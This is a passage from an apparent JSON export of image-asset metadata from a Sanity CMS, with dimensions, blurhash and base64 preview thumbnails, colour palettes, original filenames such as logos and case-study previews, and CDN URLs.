.imagePaletteSwatch","background":"#8f1d09","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0240c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6c6bf","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7849c","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca8a2","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb740b","foreground":"#fff","population":7.97,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Vidio_Case_Study_meta_preview.jpg","path":"images/sczeoy4w/production/264ebf6bd0fdb62de34ebd501e6e4274bc0a8151-1200x630.jpg","sha1hash":"264ebf6bd0fdb62de34ebd501e6e4274bc0a8151","size":206300,"uploadId":"coGwrMixHmfYhJfWDFQ8rA6Tjo7f2lgd","url":"https://cdn.sanity.io/images/sczeoy4w/production/264ebf6bd0fdb62de34ebd501e6e4274bc0a8151-1200x630.jpg"} {"_createdAt":"2024-02-15T15:30:57Z","_id":"image-264f4a794d334c7a6808b28bdf2ecf7b2854325a-3200x448-png","_rev":"UjGmMOs0V2SxB808hz0osQ","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:57Z","assetId":"264f4a794d334c7a6808b28bdf2ecf7b2854325a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4B85;=Y:1vUV{*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.142857142857143,"height":448,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAyUlEQVQImTXOv07CUBTHcZReWyJRKJCASb9tYgf/0NzLwkAYSODwAsw6OvsATkzMLiYuJj33CVx8PXObMnzyy2/5ndMBCuAO6APRWQbRvMjNobw3vw9P3eP72qy/d+milsx6SZ3KlVOJnN9HIa2KcX6fdIAZMAVugKQVZxA/53n8Upbmr6q6n28rs/3a3i5qmVqVkVPpWZXYqiSNuunXYXAIjFtp2wchc+hXRWE+qseL19PmcvkjPacysl4m4UvrZWBV0nCgUcv4H7RrMQj7/55cAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d5c3c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042a11","foreground":"#fff","population":0.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042a11","foreground":"#fff","population":0.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0d8b38","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#85f3ab","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545c4e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#16e85e","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-filter-column-type.png","path":"images/sczeoy4w/production/264f4a794d334c7a6808b28bdf2ecf7b2854325a-3200x448.png","sha1hash":"264f4a794d334c7a6808b28bdf2ecf7b2854325a","size":110686,"uploadId":"Pl88iM2sFEnEWJTY2RZOsBGqq9CEw1MQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/264f4a794d334c7a6808b28bdf2ecf7b2854325a-3200x448.png"} {"_createdAt":"2023-12-07T13:09:00Z","_id":"image-268fb11766d63455dd216381362a6bc278ab5de5-1216x684-jpg","_rev":"kEHuFmUBKgAmSEW7BbNmnf","_type":"sanity.imageAsset","_updatedAt":"2023-12-07T13:09:00Z","assetId":"268fb11766d63455dd216381362a6bc278ab5de5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7BB.JNB1IRd1Nw1ocX9WCS20[aJ}7s;}S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":684,"width":1216},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQDBQYH/8QAIxAAAQMDBAIDAAAAAAAAAAAAAwABAgQFEhEVMUETITNCUf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABwRAAICAwEBAAAAAAAAAAAAAAECAAMRIVHwgf/aAAwDAQACEQMRAD8A4zYLYCottTVTq4DMP1ET8yT0rNS7hTC3SOBYZS0+j/izts+ZXjU4nfJxxyftaFqLiuVsI2ec8ZKX1LgNWD9PfCQnbwmmKBGJGD6NJu0JphDbiLIT1fCgEZhW2SRqf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3965","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04258b","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cf5e3f","foreground":"#fff","population":15.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a9596","foreground":"#fff","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a694","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#734a59","foreground":"#fff","population":2.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf5e3f","foreground":"#fff","population":15.66,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"illustration-security.jpg","path":"images/sczeoy4w/production/268fb11766d63455dd216381362a6bc278ab5de5-1216x684.jpg","sha1hash":"268fb11766d63455dd216381362a6bc278ab5de5","size":41595,"uploadId":"qrceO52MmNXv3byctk0K4m3tJzWWD1C6","url":"https://cdn.sanity.io/images/sczeoy4w/production/268fb11766d63455dd216381362a6bc278ab5de5-1216x684.jpg"} {"_createdAt":"2023-11-01T09:52:48Z","_id":"image-26a283222c119b486722528df71c287d01b6aa27-4052x1488-jpg","_rev":"gpV4rQ1RP6Oi5x5QrKtRrz","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:52:48Z","assetId":"26a283222c119b486722528df71c287d01b6aa27","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04x0_AL}ftK0c0dK710+@#l","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7231182795698925,"height":1488,"width":4052},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAII/8QAHhAAAgMAAgMBAAAAAAAAAAAAAQIAAxESIQQxQWH/xAAXAQADAQAAAAAAAAAAAAAAAAAAAQID/8QAGhEAAwEAAwAAAAAAAAAAAAAAAAERAhIhMf/aAAwDAQACEQMRAD8AzelNS09uS2aOvRl1pVzBcnj9yImi31IXxXpFviBn2qzV/RERBZUG4f/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593743","foreground":"#fff","population":0.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#074088","foreground":"#fff","population":2.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#074088","foreground":"#fff","population":2.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b08e8d","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6b492","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b6558","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d06f2f","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-aiven-stage-frontview.jpg","path":"images/sczeoy4w/production/26a283222c119b486722528df71c287d01b6aa27-4052x1488.jpg","sha1hash":"26a283222c119b486722528df71c287d01b6aa27","size":248999,"uploadId":"7OFZbZXUcGvisUh2TOLeV9S3hJXva3Zd","url":"https://cdn.sanity.io/images/sczeoy4w/production/26a283222c119b486722528df71c287d01b6aa27-4052x1488.jpg"} {"_createdAt":"2022-09-07T11:39:47Z","_id":"image-26b2ae542c20050335393458b92ddeac6a6904a7-24x24-svg","_rev":"CK1sLU2mnwa3vmbYW9GKk1","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:47Z","assetId":"26b2ae542c20050335393458b92ddeac6a6904a7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC/klEQVQ4jVVUTW9VVRRdr681OGKArbYjQ4uisTVC0MSRQGBQAgnySgkOoHed9+qIT6P+ApzLpDDjM5RQSMQS5E+YgL9nL7LO2a/CYL973r3nrL322utsqAA6DwQBDQGtAyroi/ggOvSD2CXiCxHLQZwQcVAdZrSGSXVAdIDWAP3cntAKoBEQK0A0oBkRh0WsivhaxKdBXBWxLeK5iFsifhFxRMTHIvr6FzC4biMznAPCGYkFESMRD0XcF3GqMiLuiHgtYlPEIxGvcs96npmUyZX8yRIXomU2ky0Rl0V8LuKAgYL4W8TpZPab9wTxItkuGMOy1XJVKvX1BLsr4kcVzGqEngqWVCozx5I6TIiYq3uIe2qgIxXMVIbR1VKd9YGIJ7lxt84me2JRxOMaBme+77A7927l2SMaYtIfZrLUVyr4NZkZqBdNjsUYA5phe9fToILOZfnW9HoQ00jRb2VJx0RMhW1A9JLNokplt6mCrxLQ3w3YF3E0G7Vhvf3hRBDPRPwp4jOd3DnQq97kDsN/RAzCoI2py1/KRpnMX/aqDb2alG+o4JMEaexa7MsK/qugrUFm7CSbat1/kw1d9oHV3HgjCmarLw04LovYE8R5g1amrfyxppuZwD695hvlA8sintaSS/VdA/of0DrtSaaL0TR15/1cUsFBFXwrYl7Eh0jjbrzblDFosn0/MlF1AKsnvwxiJYhD6jDlTk275amjLTCrS+8czPD/aNr2NESvDoRm8GtJ5icRu6CL7xnbJj1TTXs5p0h2fNyoyuzKjrEHKdeDHCh9AzqzJ8woWqd8nc7U7B2mdGGnvDZRLEkz9CAHyLaIEgXTHn9tc6lazEcrvQ6HaOUfF7E/CubUYn+++z0as+0seT6GmGjDwVn9dOld7dQwS7Cm1uamiD8yvLZd/O1+EEXEXnkeDJrW0HZOaa9b18YD1mzdfTN5mTfF641orH6oE2aICX2X0/57g3ixlUy9tgRrmIwO09EsZZ+ezfD6GxEfmVW98z7nONV0fgsbqJBKUM+XGAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c2c","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#740404","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f56515","foreground":"#fff","population":3.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#902c08","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47244","foreground":"#fff","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#795a44","foreground":"#fff","population":1.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f56515","foreground":"#fff","population":3.3,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-pie-chart.svg","path":"images/sczeoy4w/production/26b2ae542c20050335393458b92ddeac6a6904a7-24x24.svg","sha1hash":"26b2ae542c20050335393458b92ddeac6a6904a7","size":487,"uploadId":"SEQG7tmRUHrvITOAXbH8dbV9Be6xfrsD","url":"https://cdn.sanity.io/images/sczeoy4w/production/26b2ae542c20050335393458b92ddeac6a6904a7-24x24.svg"} {"_createdAt":"2024-08-21T16:16:10Z","_id":"image-2702ea9969ae3a76a5d686ef4907a187f1a5f6ca-1188x762-png","_rev":"uoxN7hjTZfWhT8KF30q0VK","_type":"sanity.imageAsset","_updatedAt":"2024-08-30T08:25:35Z","altText":null,"assetId":"2702ea9969ae3a76a5d686ef4907a187f1a5f6ca","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIByOXEK9s=|J653nyjFkF$zBX$di]Ng$c}sI;kb$%E,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5590551181102361,"height":762,"width":1188},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAAD6ElEQVQ4jX3Sa0yTdxQG8EN1ESeJI0YYQy6l6MDO9xXoBZABrSDXtkBboFgKUoq0tPbCrZTKaijQstZC+5abcygxZAMXXQzbHJGhc1EwI+JYYjWRzThJwMH2wSAhef8L7MOSLdmTPF/Oh19Ocg7A/6Rg8j5Y7z2Arh/nQHVnNlA/PXNcc+0Oh3NqNDQkqieIFucNp2JEBBUjgqgYsYuKEf9FtoZRuBfY+HmgMb0wdKEXnj9zwefXHe+MX3OkfvKpM6WwtOe9oGjv/ug4IoyKEQeoGBFIxYidkbj3H+TfjcIJiMS84DnjALPhMky0u/aOWdwfDjS6U3jZntDgGCI4+ug2uLXdbipG+FFxAkDM0kEM7oKDuBvY8R2QxTCBIrEa4PAEvHu4D855FwAo9yl9OnvgZLuVOd7aFS/OcwWH0d3734/zhNJwYl8UTrxFwwnYKsTgPcBNOAstySIAQBBOJ+B0XBnEHnXvpGLuwCOYM/bYkS5ufqI1p+GkmWvTmGJzsp17IXjUP4Q+9DY9odc/n9u+Y6BGDgy2AwAhBIXhJ+B62iEA2vcUOuYIoONOKg3zcCPwfnU8s3eoILnzliDJdovB8lyMYfRpGWwnpzzbGNkiVgdA6EUKQgDItm/b2k7SB0b/HJYpRMTWs6VsVaWQpXOmxltu4gnnn6akef+U8IjNMp53MzPD+0duhv1JY3HD11f1Mse9NqFs2lTMutEgDRlWFO/axhI5I8xMlkVUzqyx6JLLvjCnFT8yp5eu1B2r2ihJ0qMCbicSCwhULelBbafM6LJGgWbOlW68dBeuvHLnzi/assanmgs/spTrhdzs4QTgl94cEOQMTFemN/3WkCp7Y+UK0ccZAtTJ4ZMtqSJSlV5FVmVqyUahihyplZAPzuaRL1255Fo/D71w8cgZi2h9WKt+oa1wTwml33hArp2zyOSTn1WUXJmv5jtW6rKNG7rjStLAkaJmbhFqy+KTVn4BaS/ikz3iPHKwXICuqCRovEFBXqpvfGPXdC83qUYeKuu+HVXo5szQalsKM1gWmcrGBWm16m53ZcWNr6TiS74KfveaKl+/aeTLUEeRCFkLRcjIkyE137BZW9K9pq4afqxRfTmh1N61KZt+Pqlr+4Vhsi0dAKXRB3OPkJ99YH2P0bYcccb8LO204aGyWjnVL68cu10jIZ6rxNbXKnHH6xqJ91d55fi0XPldn8IwX1vXupja1LkS7hxc37Oxivxqmp4CqFsebx/n9isEMUMIJsZ+p3S5VwNMXUuH6i2LYnXzTxdqdbNPanWzPnXzwmC9ZVFoti8ddPatBvh+WKaAAMFV39/vojH54C+1NKPJZVcTsgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334869","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#180898","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#908cb3","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#908cb3","foreground":"#fff","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#61dcf6","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c8e9d","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8ab09","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aiven-marketecture-for-serve-with-services.png","path":"images/sczeoy4w/production/2702ea9969ae3a76a5d686ef4907a187f1a5f6ca-1188x762.png","sha1hash":"2702ea9969ae3a76a5d686ef4907a187f1a5f6ca","size":149419,"title":null,"uploadId":"UookGWNTOFNHEgN6DgvM8GsV85mF8fvz","url":"https://cdn.sanity.io/images/sczeoy4w/production/2702ea9969ae3a76a5d686ef4907a187f1a5f6ca-1188x762.png"} {"_createdAt":"2024-03-25T16:05:55Z","_id":"image-2721b5fcee7c1c96abce1e001d32c2ed04a5a2e4-1146x148-png","_rev":"Y34ePYFQ489qDVybEK0NeT","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T16:05:55Z","assetId":"2721b5fcee7c1c96abce1e001d32c2ed04a5a2e4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"4A6]I*0F?$IeRW","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.743243243243243,"height":148,"width":1146},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAjklEQVQImU3MsQqCUACFYZ+is4T0KtERwhqag7gYujQkBUFLJORVDhSRpRBFq+Aa1Ou1ODT8w7f8Dqg3KAvqBuoAqg9qAmoFag8qAVWCuoBatM46A51d35YmD9bFx9uYPFi6vh05oJ6gTqAaUBUo0zYFFYHagbqDeoBK/4Z1d5i9ZnYeX7/eNjyauDdO+QMKlzpQgZtpRQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343c64","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043c7c","foreground":"#fff","population":0.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#043c7c","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a6830","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b966","foreground":"#000","population":0.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0ac80","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cbc14","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"nutanix.png","path":"images/sczeoy4w/production/2721b5fcee7c1c96abce1e001d32c2ed04a5a2e4-1146x148.png","sha1hash":"2721b5fcee7c1c96abce1e001d32c2ed04a5a2e4","size":11685,"uploadId":"dgPJ1mHFg5bqK4fecO3BhTzVYq2QdMuF","url":"https://cdn.sanity.io/images/sczeoy4w/production/2721b5fcee7c1c96abce1e001d32c2ed04a5a2e4-1146x148.png"} {"_createdAt":"2024-03-25T09:05:36Z","_id":"image-272d50805a571cbcc9490e06f31acbe3ceb55453-1095x174-svg","_rev":"Y34ePYFQ489qDVybEJPJVn","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T09:05:36Z","assetId":"272d50805a571cbcc9490e06f31acbe3ceb55453","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"403R{@oejYkDkB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.293103448275862,"height":174,"width":1095},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgElEQVQImU2MwYrBcRhF/1sphAnHPZKpKUmDaVaTsDB5Ce//GvrVt7A43e69dbrIM3KL/Ef+IufKa+QRudT3G/mKbCKLyCyyVD7f9l0XuUeOxT5yinwXTXKI/ES2kXVkFZmXsImXESIfrTdhIpPIuLId731aW+uDYlS95bDoR3ovR7Ub4pRdxXcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#14140c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0c04","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0c04","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#727226","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dddd9b","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#727226","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bfbf3f","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"brandalley.svg","path":"images/sczeoy4w/production/272d50805a571cbcc9490e06f31acbe3ceb55453-1095x174.svg","sha1hash":"272d50805a571cbcc9490e06f31acbe3ceb55453","size":6182,"uploadId":"S36qhfl5WJuxbKAiroIk93KEaKCicN5T","url":"https://cdn.sanity.io/images/sczeoy4w/production/272d50805a571cbcc9490e06f31acbe3ceb55453-1095x174.svg"} {"_createdAt":"2024-04-03T12:04:28Z","_id":"image-274d62cd72c4c09b2cff4cd3f1c57eac0fcb8ce6-412x126-png","_rev":"9k1srJVIAf7BJJgtqkipgT","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:04:28Z","assetId":"274d62cd72c4c09b2cff4cd3f1c57eac0fcb8ce6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DwHH}ooLj[a|jt}EjZaya|oL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2698412698412698,"height":126,"width":412},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAC4jAAAuIwF4pT92AAABZ0lEQVQYlV2NXUuUURSFz42BQjnTXQVehIHn5Zxjb3s5H46MCrNXYwR9UBQVISV5oaBlRlI3/hH/SQRhe88f6PcUb86VF4u1v9azg6l8MZXHpvLAVA6cODWVI1PZN5UXprLtxGdTee/Ea1NsOTE24qERt5242+yd+O6UD8GJ/QkxcmLdVHZM5XAa3nXijRPbpvLRiWMn3jV3Tmw68cxUhkYZT4FHTnkbfo5k88dIhr9UBk6sTYjuhFj+rbJ6rtI3lXtOdExlZJTmcc8VXSM2jA0QA6eoE/ed2AivJC3tdXL61C3xuFdufe2V9m4nX99ZyQuH3XLzbL2e/TPGzLnKnBPzTrRdpWVEy1TaRrnmxFUnWo1CTnE1pyg5xUFOcaWkmJZTRElxraR450Zcmjnpl/D3aT+YSjBeyIkLKf7Pm7rxUOdK61wN61w9qnP1ZOov61w9r3OVe6W6EhYWw7d+CX4Z1kAu9f8ArEucSNwtIVEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#552827","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#711a0e","foreground":"#fff","population":0.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#711a0e","foreground":"#fff","population":0.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#841b14","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec928c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af5655","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df3f34","foreground":"#fff","population":0.46,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-oracle-cloud.png","path":"images/sczeoy4w/production/274d62cd72c4c09b2cff4cd3f1c57eac0fcb8ce6-412x126.png","sha1hash":"274d62cd72c4c09b2cff4cd3f1c57eac0fcb8ce6","size":7530,"uploadId":"a46LalDFf2IDsYION5d8ADzAxyEA27lv","url":"https://cdn.sanity.io/images/sczeoy4w/production/274d62cd72c4c09b2cff4cd3f1c57eac0fcb8ce6-412x126.png"} {"_createdAt":"2024-06-12T07:39:53Z","_id":"image-2756ed5097d06e2b658a5eb601ce9a18d75a9360-512x512-jpg","_rev":"06CnkCNLb8AnjQwiBpUcAV","_type":"sanity.imageAsset","_updatedAt":"2024-06-12T07:39:53Z","assetId":"2756ed5097d06e2b658a5eb601ce9a18d75a9360","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCCsN?V?x[W9%2~pR-R*ogRj-.tRRkoeR*tT-nxtjYW?tRX9n#NHaw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAIDAAAAAAAAAAAAAAAAAAUGAwQH/8QAIhAAAQQDAAICAwAAAAAAAAAAAgABAwQFERIGIRNhIkFR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAEDAv/EAB4RAAIBBAMBAAAAAAAAAAAAAAABAgMSQVERFDEy/9oADAMBAAIRAxEAPwCLfya6dhgN4uXL3+K3a1n5LkjmISDrbNzp1T8tENGrHJLNqaR9iP71/VGS5WzDMJ1zIeG523vpONNzXKZSTUfUdMrlYkAihpsQdP7ZFF+L5V7mJGU7gwn07EP2ifXq4Ri+GWUeqL5TI0o7hEbOfO9+9LHkbctXIz1IuWhjl0LO32iJP5QIs+Ow9OWv28bi5E7vyTsyIinfLZe1aP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e324a","foreground":"#fff","population":8.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d1c2c","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e324a","foreground":"#fff","population":8.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bd8d89","foreground":"#000","population":1.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c99cd","foreground":"#000","population":0.59,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d545f","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94343c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"E02TH02S2F3-U066MH4ENQ0-8191dc348374-512.jpeg","path":"images/sczeoy4w/production/2756ed5097d06e2b658a5eb601ce9a18d75a9360-512x512.jpg","sha1hash":"2756ed5097d06e2b658a5eb601ce9a18d75a9360","size":39438,"uploadId":"2bhEvOoyHF0HBOcvklJIGtqDkVUmBAKd","url":"https://cdn.sanity.io/images/sczeoy4w/production/2756ed5097d06e2b658a5eb601ce9a18d75a9360-512x512.jpg"} 